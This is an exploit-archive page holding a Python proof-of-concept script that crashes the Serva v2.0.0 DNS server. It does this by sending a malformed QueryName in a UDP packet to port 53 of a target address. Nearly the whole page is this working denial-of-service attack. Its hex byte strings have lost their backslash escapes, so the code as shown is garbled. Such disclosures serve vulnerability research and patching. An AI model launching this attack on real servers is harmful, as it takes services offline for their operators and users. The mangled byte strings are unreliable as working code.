[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Serva v2.0.0 DNS Server QueryName Remote Denial of Service Vulnerability
# Published : 2013-01-14
# Author :
# Previous Title : Aloaha PDF Crypter (3.5.0.1164) ActiveX Arbitrary File Overwrite
# Next Title : Serva v2.0.0 HTTP Server GET Remote Denial of Service Vulnerability
#!/usr/bin/python
# Exploit Title: Serva v2.0.0 DNS Server QueryName Remote Denial of Service Vulnerability
# Version: v2.0.0
# Date: 2013-01-14
# Author: Julien Ahrens (@MrTuxracer)
# Homepage: www.inshell.net
# Software Link: http://www.vercot.com
# Tested on: Windows XP SP3 Professional German
# Notes: Malformed QueryName causes the crash
# Howto: -
import socket
target="192.168.0.1"
port=53
TransACTID="x03xc3"
Flags="x01x00"
QuestionRRC="x00x01"
AnswerRRC="x00x00"
AuthRRC="x00x00"
AddRRC="x00x00"
QueryName="xFFx69x6ex73x68x65x6cx6cx03x6ex65x74x00" #vulnerable: first length-byte
QueryType="x00x01"
QueryClass="x00x01"
payload = TransACTID + Flags + QuestionRRC + AnswerRRC + AuthRRC + AddRRC + QueryName + QueryType + QueryClass
print "[*] Connecting to Target " + target + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0) #udp
print "[*] Sending malformed request..."
s.sendto(payload,(target,port))
print "[!] Exploit has been sent!n"
s.close()